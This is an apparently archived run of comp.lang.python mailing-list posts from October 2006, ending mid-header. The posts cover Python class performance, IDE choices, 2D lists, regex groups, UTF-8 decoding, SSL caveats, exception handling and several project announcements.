Message-ID: <7xfydtojhe.fsf@ruckus.brouhaha.com>

"idknow at gmail.com" <idknow at gmail.com> writes:
> fun median {
>  var x = 0.
>   while( *p++) {
>     if( (*p) > x) x = *p.
>   }
>   return x.
> }

I count two variables, p and x.


From peter.maas at somewhere.com  Sun Oct  8 16:43:18 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Sun, 08 Oct 2006 22:43:18 +0200
Subject: New-style classes slower than old-style classes? (Was: n-body
	problem at shootout.alioth.debian.org)
In-Reply-To: <4528633c$0$3249$afc38c87@news.optusnet.com.au>
References: <eg6bku$59b$1@online.de>
	<61JVg.138429$_J1.903927@twister2.libero.it>
	<eg90ip$uds$1@online.de>
	<gqXVg.139277$_J1.908863@twister2.libero.it>
	<4528633c$0$3249$afc38c87@news.optusnet.com.au>
Message-ID: <egbnto$unt$1@online.de>

Richard Jones wrote:
> Giovanni Bajo wrote:
[...]
>> Anyway, this is a bug on its own I believe. I don't think new-style
>> classes are meant to be 25% slower than old-style classes. Can any guru
>> clarify this?
> 
> Please try 2.5 - there's been significant optimisation work put into 2.5

I checked that:

10000 runs of nbody.py, time in sec

           | classic | new-style |   n/c
-----------+---------+-----------+----------
python 2.4 |  2.33 s |  2.89 s   |  1.24
python 2.5 |  2.06 s |  2.61 s   |  1.27
  2.4/2.5  |  1.13   |  1.11     |    -

You are right, 2.5 is better than 2.4. But the runtime penalty
for using new-style classes remains.

-- 
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From steven.bethard at gmail.com  Wed Oct 25 19:22:26 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 25 Oct 2006 17:22:26 -0600
Subject: What's the best IDE?
In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
Message-ID: <z5udnQdQiOwsbKLYnZ2dnUVZ_tGdnZ2d@comcast.com>

Hakusa at gmail.com wrote:
> Recently I've had some problems with PythonWin when I switched to
> Py2.5, tooka long hiatus, and came back. So now I'm without my god sent
> helper, and I'm looking for a cool replacement, or some advocation to
> reinstall/setup PyWin. But the Python website's list is irrefutably
> long. It would take a month or two to test all of those products. So
> I'm looking for experienced advocates.
> 
> What's your favorite IDE?
> What do you like about it?
> It would be fine for a begginer, right?

I don't really have a good answer here, but maybe a data point.  I got 
tired of waiting for ActiveState to put out a Python 2.5 and installed 
the one from python.org instead, which doesn't include PythonWin.  I 
figured that I should take the opportunity to try out Komodo, which I'd 
heard was pretty good.  I downloaded the alpha and used it for about 
half a month.  Komodo's interface is pretty good, and when you're 
writing code in a module, the auto-completion is great, but there's no 
auto-completion at the interactive prompt.  I use the interactive prompt 
heavily, so that was pretty much the end of it for me. I downloaded the 
pywin32 module and got my PythonWin back. =)

STeVe


From paul at boddie.org.uk  Wed Oct  4 11:22:06 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 4 Oct 2006 08:22:06 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<87ac4ciynk.fsf@benfinney.id.au>
	<1hmozq6.kow3g61xdpiqyN%dialUAZ###UZ#$AAtone@gWARAmail.com>
	<mailman.1268.1159973659.10491.python-list@python.org>
Message-ID: <1159975325.127309.290210@i3g2000cwc.googlegroups.com>

Fredrik Lundh wrote:
> Valentino Volonghi wrote:
>
> > Considering that trac can also run on postgres or mysql and also
> > considering that both of these databases have enough tools to deal with
> > backups I think it's a non issue.
>
> 10k entries shouldn't be much of an issue for sqlite3 either.

Out of interest, here are some figures:

  KDE: 12983 bugs and 11656 wishes
  GNOME: 23624 reports
  Python: 7159 bugs, 3843 patches, 477 feature requests

The Python figures are totals, whereas I can't be sure whether the KDE
and GNOME figures merely refer to the open issues. Nevertheless, Python
isn't going to be pushing the envelope.

Paul



From horpner at yahoo.com  Sun Oct 22 21:57:15 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Mon, 23 Oct 2006 01:57:15 GMT
Subject: Arrays? (Or lists if you prefer)
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>
Message-ID: <%jV_g.7670$5i7.2617@newsreading01.news.tds.net>

On 2006-10-23, Hakusa at gmail.com <Hakusa at gmail.com> wrote:
> Pythonic lists are everything I want in a one dimensional array
> . . .  but I'm trying to do a text adventure and simplify the
> proces by creating a grid as opposed to a tedious list of rooms
> this room connects to.

Not to chase you out of comp.lang.python, but take a stroll by
rec.arts.int-fiction for pointers to a selection of domain
specific programming languages and virtual machines for writing
text adventures.

> So I want to know a good way to do a SIMPLE two dimensional
> array.  Python's lists are a little confusing when it comes to
> how to do this.  I realized that I could do
>
> list = [ [0] * N ] * N

You're right to be suspicious of that construct.

    >>> a = [[0] * 2] * 2
    >>> a
    [[0, 0], [0, 0]]
    >>> a[0][1] = "Oops."
    >>> a
    [[0, 'Oops.'], [0, 'Oops.']]

The problem is that Python lists hold references, not objects,
combined with the behavior of the multiplication operator on
lists.

> but I don't know if it would work because I'm a newbie and only
> understand arrays if they're in grid-like form. And I haven't
> ben thru linear algebra yet, due to my school giving me a few
> set backs I'm allready having to take geometry and allgebra II
> which are meant to be taken one after another at my school, so
> any suggestions  or hints in that direction won't be helpful.
>
> So:
> Way to do SIMPLE array, either internally or externally, with
> Python, please.

The problem wasn't with the construct, but in the way it was
constructed. Just build it up bit by bit, or build it all at once
using range() and then fill it in afterwards.

    >>> b =[range(2), range(2)]
    >>> b
    [0, 1], [0, 1]]
    >>> b[0][1] = "OK."
    >>> b
    [0, 'OK.'], [0, 1]]

A flexible way to do it instead might be to make your data
attributes of objects, instead. It won't be as fast as decoding 
multi-dimensional arrays, but it'll be easier to work with.

Then again, there's Inform, TADS, HUGO, the Z-machine, Glk and
Adrift to consider. ;-)

-- 
Neil Cerutti


From msoulier at gmail.com  Wed Oct  4 21:22:30 2006
From: msoulier at gmail.com (msoulier)
Date: 4 Oct 2006 18:22:30 -0700
Subject: ANN: Tftpy 0.1 - Pure Python TFTP Library
Message-ID: <1160011350.564729.315850@i3g2000cwc.googlegroups.com>

Announcing new project, Tftpy, a Pure Python TFTP implementation.

About Release 0.1:
==================

This is an initial release in the spirit of "release early, release
often". Currently the sample client works, supporting RFC 1350. The
server is not yet implemented, and RFC 2347 and 2348 support (variable
block sizes) is underway, planned for 0.2.

About Tftpy:
============

Tftpy is a TFTP library for the Python programming language. It
includes client and server classes, with sample implementations. Hooks
are included for easy inclusion in a UI for populating progress
indicators. It supports RFCs 1350, 2347 and 2348.

This library was developed against Python 2.4.1.

Project page: http://sourceforge.net/projects/tftpy/

License is the CNRI Python License.
http://www.opensource.org/licenses/pythonpl.php



From ebgssth at gmail.com  Mon Oct  2 11:48:38 2006
From: ebgssth at gmail.com (js )
Date: Tue, 3 Oct 2006 00:48:38 +0900
Subject: Sort by domain name?
In-Reply-To: <7xmz8ekayz.fsf@ruckus.brouhaha.com>
References: <mailman.1094.1159801691.10491.python-list@python.org>
	<7xmz8ekayz.fsf@ruckus.brouhaha.com>
Message-ID: <a23effaf0610020848n36536eacie46a532bb7a200bd@mail.gmail.com>

Thanks for your quick reply.
yeah, it's a hard task and unfortunately even google doesn't help me much.

All I want to do is to sort out a list of url by companyname,
like oreilly, ask, skype, amazon, google and so on, to find out
how many company's url the list contain.


From gagsl-py at yahoo.com.ar  Thu Oct 19 14:17:42 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 19 Oct 2006 15:17:42 -0300
Subject: Decorators and how they relate to Python - A little
	insight please!
In-Reply-To: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
Message-ID: <7.0.1.0.0.20061019151432.05a846f0@yahoo.com.ar>

At Thursday 19/10/2006 15:04, Jerry wrote:

>Now I've
>come accross decorators and even though I've read the PEP and a little
>in the documentation, I just don't get what they are or what problem
>they are trying to solve.  Can anyone please point me to a general
>discussion of decorators (preferrably explained with Python)?

These links may be useful:

<URL: http://www.phyast.pitt.edu/~micheles/python/documentation.html >
<URL: http://soiland.no/software/decorator >
<URL: http://wiki.python.org/moin/PythonDecoratorLibrary >


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From heikki at osafoundation.org  Wed Oct 18 00:57:32 2006
From: heikki at osafoundation.org (Heikki Toivonen)
Date: Tue, 17 Oct 2006 21:57:32 -0700
Subject: httplib and HTTPS Connections
In-Reply-To: <1161052193.081315.140370@h48g2000cwc.googlegroups.com>
References: <1161052193.081315.140370@h48g2000cwc.googlegroups.com>
Message-ID: <15KdnZaRD_3jKajYnZ2dnUVZ_vSdnZ2d@comcast.com>

runningwild wrote:
> This is the first time I have cared about httplib's HTTPSConnection.

Please note that the Python builtin SSL support is not really secure. It
does not make sure that you connect to the site you think you are
connecting to, for example.

If you really need secure SSL (what is the point of SSL if not secure I
ask) you should look at other Python modules. There are several to
choose from, for example M2Crypto (I am the maintainer of that), TLS
Lite, PyOpenSSL, PyOpenSSL-extended, and possibly others that I am
forgetting right now.

-- 
  Heikki Toivonen


From riklaunim at gmail.com  Wed Oct 25 14:31:54 2006
From: riklaunim at gmail.com (riklaunim at gmail.com)
Date: 25 Oct 2006 11:31:54 -0700
Subject: ANN: Diamanda  Wiki and MyghtyBoard Forum Test 1
Message-ID: <1161801113.950400.169650@i3g2000cwc.googlegroups.com>

Diamanda  Wiki and MyghtyBoard Forum Test 1

Diamanda is a wiki django application and Myghty Board is a bulletin
board application. Both written in Django >= 0.95.

Download:
http://sourceforge.net/project/showfiles.php?group_id=163611&package_id=208996
or the latest code from SVN at http://code.google.com/p/diamanda/

Screenshots:
http://www.fotosik.pl/showFullSize.php?id=0618289d5a1d1244
http://www.fotosik.pl/showFullSize.php?id=19156afd3b1e1e55
http://www.fotosik.pl/showFullSize.php?id=b7257958f0055ec8

Wiki Features:
- full history, diff between all
- permission system for users and anonymous
- edit proposals - user/anonymous changes may be marked as edit
proposals and not visible on the page until admin approval
- safe html as a markup
- contentBBcode tags that create nice links to page, table grids,
thumbnails, highlight code and more
- task management

Forum Features:
- Categories -> Forums -> Topics  -> Posts
- Forums may be redirects (links)
- Close/Open, Move, Delete Topic, Edit/Delete Post
- Simple User Profile and Emails as Private Messages
- punBB importer (and with punBB migration tool other PHP forum scripts
like phpBB, IPB...)

To use this apps you need up and running Django framework
(www.djangoproject.com) The installation of Diamanda and MyghtyBoard is
in the readme. If you have any problems post them on the support sites
(they may take few days to redirect DNS... www.rkblog.rk.edu.pl -
English and www.python.rk.edu.pl - Polish) or email me :)



From fredrik at pythonware.com  Fri Oct  6 11:58:06 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 17:58:06 +0200
Subject: Bug in re module?
In-Reply-To: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
References: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
Message-ID: <eg5uef$iuj$1@sea.gmane.org>

Ant wrote:
>

> I would have expected this to produce:
> 
> ('String')
> 
> since (:?...) should be a non-capturing group. From the module
> reference:
> 
> (?:...)

(?:...) isn't the same thing as (:?...), though.

</F>



From yaaang at gmail.com  Tue Oct 10 23:32:22 2006
From: yaaang at gmail.com (Yang Zhang)
Date: Tue, 10 Oct 2006 23:32:22 -0400
Subject: Python 2.5 "make install" bug?
Message-ID: <8e53a5920610102032geb1d2d3p77a3594c956dc8b5@mail.gmail.com>

All the site-packages/*.so files get copied to the directory specified
in my ~/.pydistutils.cfg instead of lib-dynload under the prefix dir,
then proceeds to chmod 755 all the files in that directory (including
ones that existed before install). Please advise.


From _karlo_ at _mosor.net_  Tue Oct 10 18:33:05 2006
From: _karlo_ at _mosor.net_ (Karlo Lozovina)
Date: Tue, 10 Oct 2006 22:33:05 +0000 (UTC)
Subject: MP3 files and Python...
Message-ID: <Xns985959C7FA2mosornet@161.53.160.64>

I'm looking for a Python lib which can read and _write_ ID3v1 and ID3v2 
tags, and as well read as much as possible data from MP3 file (size, 
bitrate, samplerate, etc...).

MP3 reproduction is of no importance...

-- 
 _______                                        Karlo Lozovina - Mosor
|   |   |.-----.-----.     web: http://www.mosor.net || ICQ#: 10667163
|       ||  _  |  _  |             Parce mihi domine quia Dalmata sum.
|__|_|__||_____|_____|


From paddy3118 at netscape.net  Fri Oct 13 00:46:55 2006
From: paddy3118 at netscape.net (Paddy)
Date: 12 Oct 2006 21:46:55 -0700
Subject: Starting out.
In-Reply-To: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
Message-ID: <1160714815.630167.305860@m7g2000cwm.googlegroups.com>

Ahmer wrote:
> Hi all!
>
> I am a 15 year old High School Sophomore. I would like to start
> programming in Python. In school, we are learning Java (5) and I like
> to use the Eclipse IDE, I also am learning PHP as well.
>
> What are some ways to get started (books, sites, etc.)? I am usually on
> linux, but I have a windows box and am planning on getting a mac.

Pydev gives you a Python mode for Eclipse:
  http://pydev.sourceforge.net/
The Python tutorial is a good way to learn Python:
  http://docs.python.org/tut/
Some pointers on writing Python for Java programmers:
  http://www.ferg.org/projects/python_java_side-by-side.html
I guess you are new to both Java and Python, but if you know Java and
were starting Python, the following points out that certain idioms of
Java do not translate well to Python:
  http://dirtsimple.org/2004/12/python-is-not-java.html

And finally: Lets 'big-up' Python:
  http://www.paulgraham.com/pypar.html

I hope you enjoy Python.
All the best,  Paddy.


P.S. maybe your High school might be interested in teaching Python as a
first language rather than Java?
  http://www.oreilly.com/pub/a/oreilly/frank/elkner_0300.html

http://www.python.org/workshops/2000-01/proceedings/papers/elkner/pyYHS.html



From michael at stroeder.com  Thu Oct 19 08:46:26 2006
From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=)
Date: Thu, 19 Oct 2006 14:46:26 +0200
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
In-Reply-To: <1161252764.244873.134740@f16g2000cwb.googlegroups.com>
References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
	<Xns98616CE973980duncanbooth@127.0.0.1>
	<1161252764.244873.134740@f16g2000cwb.googlegroups.com>
Message-ID: <2m8k04-gfe.ln1@nb2.stroeder.com>

NoelByron at gmx.net wrote:
> 
> print 'K\xc3\xb6ni'.decode('utf-8')
> 
> and this line raised a UnicodeDecode exception.

Works for me.

Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode object. With
print this is implicitly converted to string. The char set used depends
on your console

Check this out for understanding it:

>>> u = 'K\xc3\xb6ni'.decode('utf-8')
>>> s=u.encode('iso-8859-1')
>>> u
u'K\xf6ni'
>>> s
'K\xf6ni'
>>>

Ciao, Michael.


From bearophileHUGS at lycos.com  Wed Oct 18 18:50:55 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 18 Oct 2006 15:50:55 -0700
Subject: Flexible Collating (feedback please)
In-Reply-To: <UxwZg.6707$fl.6559@dukeread08>
References: <35kZg.6681$fl.2685@dukeread08><UxwZg.6707$fl.6559@dukeread08>
Message-ID: <1161211855.842193.104220@i3g2000cwc.googlegroups.com>

Ron Adam:

Insted of:

      def __init__(self, flags=[]):
         self.flags = flags
         self.numrex = re.compile(r'([\d\.]*|\D*)', re.LOCALE)
         self.txtable = []
         if HYPHEN_AS_SPACE in flags:
             self.txtable.append(('-', ' '))
         if UNDERSCORE_AS_SPACE in flags:
             self.txtable.append(('_', ' '))
         if PERIOD_AS_COMMAS in flags:
             self.txtable.append(('.', ','))
         if IGNORE_COMMAS in flags:
             self.txtable.append((',', ''))
         self.flags = flags

I think using a not mutable flags default is safer, this is an
alternative (NOT tested!):

      numrex = re.compile(r'[\d\.]*  |  \D*', re.LOCALE|re.VERBOSE)
      dflags = {"hyphen_as_space": ('-', ' '),
                "underscore_as_space": ('_', ' '),
                "period_as_commas": ('_', ' '),
                "ignore_commas": (',', ''),
                ...
               }

      def __init__(self, flags=()):
         self.flags = [fl.strip().lower() for fl in flags]
         self.txtable = []
         df = self.__class__.dflags
         for flag in self.flags:
             if flag in df:
                self.txtable.append(df[flag])
         ...

This is just an idea, it surely has some problems that have to be
fixed.

Bye,
bearophile



From johan.h.lindberg at gmail.com  Tue Oct  3 07:22:18 2006
From: johan.h.lindberg at gmail.com (johan.h.lindberg at gmail.com)
Date: 3 Oct 2006 04:22:18 -0700
Subject: app with standalone gui and web interface
In-Reply-To: <mailman.1151.1159870158.10491.python-list@python.org>
References: <mailman.1130.1159837251.10491.python-list@python.org>
	<1159863703.408329.274450@i3g2000cwc.googlegroups.com>
	<mailman.1151.1159870158.10491.python-list@python.org>
Message-ID: <1159874538.150945.125180@k70g2000cwa.googlegroups.com>

> Johan, your way of doing it resembles XUL somewhat, although I can't
> say I fully understand XUL I just took a look some days ago. Let me
> see if I understand your approach:

Yes it's a lot like XUL, but there are some major differences. The most
important one is that, at least back then, you had to use JavaScript.
Also, XUL had (has) a much more limited set of widgets and you can't
escape the surrounding Browser.

> If you want to have something very dynamical you do it the way you
> described with the wxwml source getting parsed, converted to wxpython
> and then run by python all at once. At the same time the webserver can
> fetch the same wxwml source, convert it into html/xml and send that to
> the web client. Now if one wants to bypass wxbrowser and the real time
> conversion to wxpython, then, sacrificing some level of dynamicness,
> why not convert the wxwml source 'statically' into wxpython, bundle
> that as an app and at the same time convert it also to xml/html
> 'statically' and have that served by a webserver. In this way any time
> the gui changes one needs to go through both convertions once, bundle
> the desktop app again, update the webserver but there won't be any
> security whole or any magic that is not pure python or not pure
> html/xml. Does this sound reasonable or am I misunderstanding
> something?
>
> In fact something like that is the thing I'm looking for, some
> language that can specify a gui and can be used to generate
> 'statically' both wxpython source (or some other widget set) or
> html/xml source.

Ok, there are ways to do that... sort of.

You could modify or extend the wxBrowser to do this but you should
really have a look at extending XRC (have a look at XRCed which comes
with wxPython if you don't know what it is). Even though it doesn't do
*everything* you want it's a good place to start.

An XRC-file is an XML-specification of a wx GUI which can be loaded by
a wxApp to generate a "static" GUI. However, if you want any sort of
functionality to go with your program you're going to have to find a
way to also include the equivalent of HTML script-tags that you can
hook into wx event-handlers. I don't think XRC has that.

Also, last time I looked, XRC is very sensitive so if you do change the
format here and there to include other stuff, make sure to remove it
before you try to parse it in the wxApp (it complains otherwise, or at
least it used to).

The wxBrowser does all of this for you, but at run time, there's
currently no way of packaging it all up in one big XML file that could
be saved as wxPython source. But it's sure doable. I don't know which
is easier but either way, I'm guessing that you're going to have to
write some code of your own.

If you decide to extend/modify the wxBrowser, let me know, I might be
able to help you out.

BR
Johan Lindberg
johan at pulp.se

PS
You should also ask around at the wxPython-users list
(http://aspn.activestate.com/ASPN/Mail/Browse/Threaded/wxPython-users).



From jmdeschamps at gmail.com  Sun Oct  1 08:41:28 2006
From: jmdeschamps at gmail.com (jmdeschamps at gmail.com)
Date: 1 Oct 2006 05:41:28 -0700
Subject: does anybody earn a living programming in python?
In-Reply-To: <1hmhych.1jaomee1msbzi8N%aleax@mac.com>
References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com>
	<efdftc$9tl$1@wake.carmen.se>
	<1hmhych.1jaomee1msbzi8N%aleax@mac.com>
Message-ID: <1159706488.576589.82080@i3g2000cwc.googlegroups.com>


Alex Martelli wrote:
> Magnus Lycka <lycka at carmen.se> wrote:
>    ...
> > stuff in the world, so my standard extrapolation technique would yield
> > 30000 python programmers globally.
>
> I think this estimate is low, based on three piece of data I know (but,
> sorry, are all confidential;-) and thus one I can infer:
> -- I know how many copies of "Python in a Nutshell" Google buys;
> -- I know how many Python programmers work at Google;
> -- I know how many copies the Nutshell sells worldwide;
>
> Assuming the willingness to buy "Python in a Nutshell" is constant
> across the population of Python programmers (and I don't believe my
> working there influences anything -- Google had the Nutshell in the
> standard set of books engineers use, well before I got hired there), I
> can project a worldwide number of Python programmers that's several
> times higher than that.
>
> Or perhaps not, depending on the definition of "Python programmer".
> Most of Google's software developers who know Python also know one or
> more (generally several) of C, C++, Java, SQL, HTML, Javascript, &c,
> though they may or may not use any one or more of them often on the job;
> many Googlers who program only in Python do not _just_ program -- they
> are also working on other jobs besides software development (hardware
> design, testing, management, administrative assistance, system
> administration, network operations, whatever...).  Hey, by a
> sufficiently strict definition _I_ don't count as a "Python programmer",
> since I also do substantial amounts of management, not to mention a
> little bit of C++, some C, SQL, HTML, and so forth...;-)
>
>
> Alex
A few points:
Personnally, I've never heard_of a Python_only programmer...
When I chose Python for web dev programming class, no one knew why I
was using a (second_rate) handy-crafty language, instead of
ASP-PHP_whateverP language that was in the mainstream.
Because of academic freedom, I was allowed to show it as a *different*
type of language.
Most mainstream job boards here in Montreal had never posted ANY (not
that I could find) jobs (5 years ago) NONE so it went that it Python
would just be a *educational* add-on for the students.
Since then, feedback from students in industry is that it is being used
more and more, day in and day out by top world class shops (games,
effects, etc). BUT It's still Java, C++, PHP, SQL that have the
marketing demands...
Finally, also (personnal interpretation) because of the BUG2000 Scare,
shops had boosted the staff with just about anyone they could get there
hands on prior to this event, with the son, mom and great-grand uncle
who could do a database of contacts in MSAccess (and this is NOT
demeaning MSAccess), so now companies are NOT posting for the jobs in
this *language* oriented fashion outside the mainstream (Java,
C++,etc).
Finally, most programmers and programmers-wannabe-students just don't
hope to be top-tier in their trade - They just want a job, so they can
marry, play, pay rent, go home - Sorry, most are not interested in
technology, and since most managers I have seen, in a 15 year career in
dev before taking a teaching job, don't CARE about technology, you have
a perfect match for Java, PHP advertisement...
My two cents, rooting for Python (and Ruby and Lua and OCaml, and ...
you get the point!)

Jean-Marc



From jean.philippe.mague at gmail.com  Thu Oct  5 12:53:04 2006
From: jean.philippe.mague at gmail.com (jean.philippe.mague at gmail.com)
Date: 5 Oct 2006 09:53:04 -0700
Subject: weakSet
Message-ID: <1160067184.086527.20420@e3g2000cwe.googlegroups.com>

Hello,

Has anyone ever think about a set wich references its elements weakly ?
The *easy* solution would provide a WeakSet class with the following
behavior:
>>>s=set([a, b])
>>>ws=WeakSet([b,c])
>>>(ws&s).__class__() is WeakSet
True
>>>s&ws
TypeError: unsupported operand type(s) for &: 'set' and 'instance'

the hard olution would  add the following behavior:
>>>(s&ws).__class__() is WeakSet
True

Any hint for the easy solution ?
for the hard one ?

Jean-Philippe



From pydecker at gmail.com  Wed Oct 11 22:07:15 2006
From: pydecker at gmail.com (Peter Decker)
Date: Wed, 11 Oct 2006 22:07:15 -0400
Subject: Python component model
In-Reply-To: <1160618190.314729.236250@c28g2000cwb.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>
Message-ID: <ca55a9900610111907l7e897261pd1e0929f0251b76e@mail.gmail.com>

On 11 Oct 2006 18:56:30 -0700, Ilias Lazaridis <ilias at lazaridis.com> wrote:

> yes, an interesting tool.
>
> But to get more attention and developers, the project needs to be
> polished.
>
> really unattractive resources:
>
> http://dabodev.com
> http://case.lazaridis.com/wiki/DaboAudit

Well, then, why not contribute? Or are you waiting for everyone else
to do it for you?

It really grinds my gears when people take something that involves
hundreds if not thousands of hours of time that is offered to them for
free, and then nitpicks on something completely tangential. If you
want a polished website, then offer to contribute one! Don't whine
about a couple of developers who are doing amazing things in their
spare time while you're contributing absolutely nothing to the
community.

-- 

# p.d.


From dakman at gmail.com  Tue Oct 17 14:39:08 2006
From: dakman at gmail.com (dakman at gmail.com)
Date: 17 Oct 2006 11:39:08 -0700
Subject: external file closed
In-Reply-To: <1161106999.899555.57990@h48g2000cwc.googlegroups.com>
References: <1161106999.899555.57990@h48g2000cwc.googlegroups.com>
Message-ID: <1161110348.760468.231720@m7g2000cwm.googlegroups.com>

You may be able to use os.popen()
kilnhead wrote:
> I am opening a file using os.start('myfile.pdf') from python. How can I
> know when the user has closed the file so I can delete it? Thanks.



From claird at lairds.us  Wed Oct 11 14:39:59 2006
From: claird at lairds.us (Cameron Laird)
Date: Wed, 11 Oct 2006 18:39:59 +0000
Subject: [Newbie] error handling
References: <mailman.325.1160583556.11739.python-list@python.org>
Message-ID: <vcqvv3-gqd.ln1@lairds.us>

In article <mailman.325.1160583556.11739.python-list at python.org>,
Fulvio  <fulvio at tm.net.my> wrote:
>***********************
>Your mail has been scanned by InterScan MSS.
>***********************
>
>
>Hello there,
>
>Simple question : how do I manage errors by the use "try/except" clause.
>Example:
>If I'd like to catch error coming from a function call that's using IMAP4 
>class, which error may raise such class?
>In other words I've doubts about which error object I should put after 
>the "except" statement in order to trap the wanted error.
>
>Is there, somehow, the way to list the errors from a class or function, prior 
>digging into the source?
>
>F
>

No.

It's an important question.  No, there is NOT in general a way
to interrogate a class or function to determine the range of
exceptions it might throw.

Working programmers take a couple of approaches to analyze 
exceptions:
A.  Read documentation.  Good API documentation
    must specify exceptions thrown.

    It's very, *very* rare for Python extensions
    to document their exceptions accurately.
B.  Incrementally refine your source.  I might
    write

	try:
	    do_imap_stuff()
        except:
	    raise

    for my first round of coding.  Then I exercise
    a couple of use cases, and reach

	try:
	    do_imap_stuff()
        except IOError:
	    handle_this_exception()
        except ZeroDivisionError:
	    handle_that_exception()
        except:
            raise

    and so on.

Exceptions are hard to get right.  I keep threatening to
write a book on the subject, mostly so I can learn what
the correct answers are.


From bernard.chhun at gmail.com  Fri Oct 13 15:18:58 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 13 Oct 2006 12:18:58 -0700
Subject: Best IDE?
In-Reply-To: <mailman.452.1160752652.11739.python-list@python.org>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<1160750227.507474.134240@b28g2000cwb.googlegroups.com>
	<463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com>
	<mailman.452.1160752652.11739.python-list@python.org>
Message-ID: <1160767138.064264.262690@k70g2000cwa.googlegroups.com>

hey thanks limodou,

I'm trying it out right now and it works pretty well!

SPE has been crashing often lately so count on me to use it frequently.


Bernard

limodou wrote:
> On 10/13/06, Theerasak Photha <hanumizzle at gmail.com> wrote:
> > On 13 Oct 2006 07:37:07 -0700, Bernard <bernard.chhun at gmail.com> wrote:
> > > IDE : SPE (Stani's python editor) : http://stani.be/python/spe/blog/
> > > Why?: because this IDE is not complicated. it ships with a debugger, a
> > > gui designer, a source code checker and a regex console.
> > > Like: obviously everything
> > > Hate: sometimes it doesn't start on windows 2000
> > > Platform: Windows, Linux, Mac
> > > cost: free but I'll donate some money because I like it
> >
> > Will definitely give it a look.
> >
> Maybe you could also check out UliPad to try it. Many features UliPad
> also have, and it also shipped with
>
> * directory browser
> * multi-view
> * multi-language highlight support, like: python, javascript, css, html, etc
> * simple project support bind with directory browser
> * commands searching
> * live regular expression searching, type regex, and you'll see the
> result immediately
> * session manager
> * i18n
> * input assistant, support call tips, '.' hint, and auto-complete, for
> example: you type
>
>   def then it'll expand to def ():
> * many plugins, for example spell check, if you install pyenchant module
> * others things
>
> hope you try it.
>
> --
> I like python!
> UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
> My Blog: http://www.donews.net/limodou



From rpmuller at gmail.com  Thu Oct 12 16:19:23 2006
From: rpmuller at gmail.com (RickMuller)
Date: 12 Oct 2006 13:19:23 -0700
Subject: paseline(my favorite simple script): does something similar exist?
In-Reply-To: <mailman.394.1160681747.11739.python-list@python.org>
References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
	<mailman.394.1160681747.11739.python-list@python.org>
Message-ID: <1160684363.847748.66080@c28g2000cwb.googlegroups.com>

Wow! 6 responses in just a few minutes. Thanks for all of the great
feedback!


skip at pobox.com wrote:
> Rick> def parseline(line,format):
>     Rick>     xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
>     Rick>     result = []
>     Rick>     words = line.split()
>     Rick>     for i in range(len(format)):
>     Rick>         f = format[i]
>     Rick>         trans = xlat.get(f,'None')
>     Rick>         if trans: result.append(trans(words[i]))
>     Rick>     if len(result) == 0: return None
>     Rick>     if len(result) == 1: return result[0]
>     Rick>     return result
>
> Note that your setting and testing of the trans variable is problematic.  If
> you're going to use xlat.get(), either spell None correctly or take the
> default:
>
>     trans = xlat.get(f)
>     if trans:
>         result.append(trans(words[i]))
>
> As Paul indicated though, it would also be better to not to silently let
> unrecognized format characters pass.  I probably wouldn't let KeyError float
> up to the caller though:
>
>     trans = xlat.get(f)
>     if trans:
>         result.append(trans(words[i]))
>     else:
>         raise ValueError, "unrecognized format character %s" % f
>
> Finally, you might consider doing the splitting outside of this function and
> pass in a list.  That way you could (for example) easily pass in a row of
> values read by the csv module's reader class (untested):
>
>     def format(words, fmt):
>         xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
>         result = []
>         for i in range(len(fmt)):
>             f = fmt[i]
>             trans = xlat.get(f)
>             if trans:
>                 result.append(trans(words[i]))
>             else:
>                 raise ValueError, "unrecognized format character %s" % f
>         return result
>
>     Rick> I'm posting this here because (1) I'm feeling smug at what a
>     Rick> bright little coder I am, and (2) (in a more realistic and humble
>     Rick> frame of mind) I realize that many many people have probably found
>     Rick> solutions to similar needs, and I'd imaging that many are better
>     Rick> than the above. I would love to hear how other people do similar
>     Rick> things.
> 
> It seems quite clever to me.
> 
> Skip



From cameron.walsh at gmail.com  Thu Oct  5 23:06:48 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
